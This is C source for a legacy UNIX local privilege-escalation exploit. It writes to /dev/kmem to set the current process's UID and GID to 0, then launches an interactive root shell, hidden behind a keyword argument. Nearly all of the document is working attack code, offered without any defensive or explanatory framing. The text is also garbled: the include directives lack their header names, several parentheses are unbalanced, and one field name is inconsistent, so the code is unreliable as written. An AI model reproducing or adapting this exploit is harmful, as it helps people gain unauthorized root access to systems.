/* If /kmem is is readable and writable, this program will change the user's * UID and GID to 0. */ /* This code originally appeared in "UNIX security: A practical tutorial" * with some modifications by daemon9@netcom.com */ #include #include #include #include #include #include #include #define KEYWORD "nomenclature1" struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[]; { int count, fd; long where, lseek(); if (argv[1]) { /* we've got an argument, is it the keyword? */ if (!(strcmp(KEYWORD, argv[1]))) { fd = (open("/dev/kmem", O_RDWR); if (fd < 0) { printf("Cannot read or write to /dev/kmem\n"); perror(argv); exit(10); } userlocation = address(); where = (lseek(fd, userlocation, 0); if (where != userlocation) { printf("Cannot seek to user page\n"); perror(argv); exit(20); } count = read(fd, &userpage, sizeof(struct user)); if (count != sizeof(struct user)) { printf("Cannot read user page\n"); perror(argv); exit(30); } printf("Current UID: %d\n", userpage.u_ruid); printf("Current GID: %d\n", userpage.g_ruid); userpage.u_ruid = 0; userpage.u_rgid = 0; where = lseek(fd, userlocation, 0); if (where != userlocation) { printf("Cannot seek to user page\n"); perror(argv); exit(40); } write(fd, &userpage, ((char *) &(userpage.u_procp)) - ((char *) &userpage)); execle("/bin/csh", "/bin/csh", "-i", (char *) 0, envp); } } } /* End main */ #include #include #include #define LNULL ((LDFILE *)0) long address() { LDFILE *object; SYMENT symbol; long idx = 0; object = ldopen("/unix", LNULL); if (!object) { fprintf(stderr, "Cannot open /unix.\n"); exit(50); } for (; ldtbread(object, idx, &symbol) == SUCCESS; idx++) { if (!strcmp("_u", ldgetname(object, &symbol))) { fprintf(stdout, "User page is at 0x%8.8x\n", symbol.n_value); ldclose(object); return (symbol.n_value); } } fprintf(stderr, "Cannot read symbol table in /unix.\n"); exit(60); }